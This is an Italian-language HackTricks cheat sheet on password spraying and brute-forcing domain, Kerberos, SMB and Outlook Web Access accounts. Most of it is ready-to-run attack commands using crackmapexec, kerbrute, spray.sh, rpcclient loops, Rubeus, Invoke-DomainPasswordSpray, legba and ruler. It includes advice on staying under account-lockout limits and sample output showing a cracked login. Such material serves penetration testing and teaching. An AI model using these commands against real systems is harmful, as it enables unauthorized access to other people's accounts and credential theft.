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155 lines
8.1 KiB
Markdown
155 lines
8.1 KiB
Markdown
# Password Spraying / Brute Force
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Altri modi per supportare HackTricks:
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* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
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* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
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* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
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* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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## **Password Spraying**
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Una volta trovati diversi **nomi utente validi**, puoi provare le password più **comuni** (tenendo conto della politica delle password dell'ambiente) con ciascuno degli utenti scoperti.\
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Per **default**, la **lunghezza minima** della **password** è **7**.
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Anche le liste di nomi utente comuni potrebbero essere utili: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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Nota che **potresti bloccare alcuni account se provi diverse password errate** (per default più di 10).
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### Ottenere la politica delle password
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Se hai delle credenziali utente o una shell come utente di dominio, puoi **ottenere la politica delle password con**:
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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enum4linux -u 'username' -p 'password' -P <IP>
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rpcclient -U "" -N 10.10.10.10;
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rpcclient $>querydominfo
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ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
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# From Windows
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net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### Sfruttamento da Linux (o da qualsiasi altro sistema operativo)
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* Utilizzando **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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# Local Auth Spray (once you found some local admin pass or hash)
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## --local-auth flag indicate to only try 1 time per machine
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crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
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```
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* Utilizzando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
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```bash
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# Password Spraying
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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* [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare il blocco):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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* Utilizzando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO A VOLTE NON FUNZIONA
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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* Con il modulo `scanner/smb/smb_login` di **Metasploit**:
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 (1).png>)
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* Utilizzando **rpcclient**:
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```bash
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# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
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for u in $(cat users.txt); do
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rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
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done
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```
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#### Da Windows
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* Con [Rubeus](https://github.com/Zer1t0/Rubeus) versione con modulo brute:
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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* Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la politica della password dal dominio e limiterà i tentativi in base ad essa):
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```powershell
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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* Con [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
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```
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Invoke-SprayEmptyPassword
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```
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## Brute Force
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{% code overflow="wrap" %}
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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{% endcode %}
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## Outlook Web Access
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Ci sono diversi strumenti per effettuare un **password spraying su Outlook**.
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* Con [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
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* con [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
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* Con [Ruler](https://github.com/sensepost/ruler) (affidabile!)
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* Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
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* Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
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Per utilizzare uno di questi strumenti, è necessario avere una lista di utenti e una password / una piccola lista di password da spruzzare.
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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[x] Failed: cube0x0:Summer2020
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[x] Failed: a.admin:Summer2020
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[x] Failed: c.cube:Summer2020
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[+] Success: s.svensson:Summer2020
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```
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## Google
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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## Okta
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## Riferimenti
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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* [www.blackhillsinfosec.com/?p=5296](www.blackhillsinfosec.com/?p=5296)
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* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Altri modi per supportare HackTricks:
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|
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* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
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* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
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* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
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* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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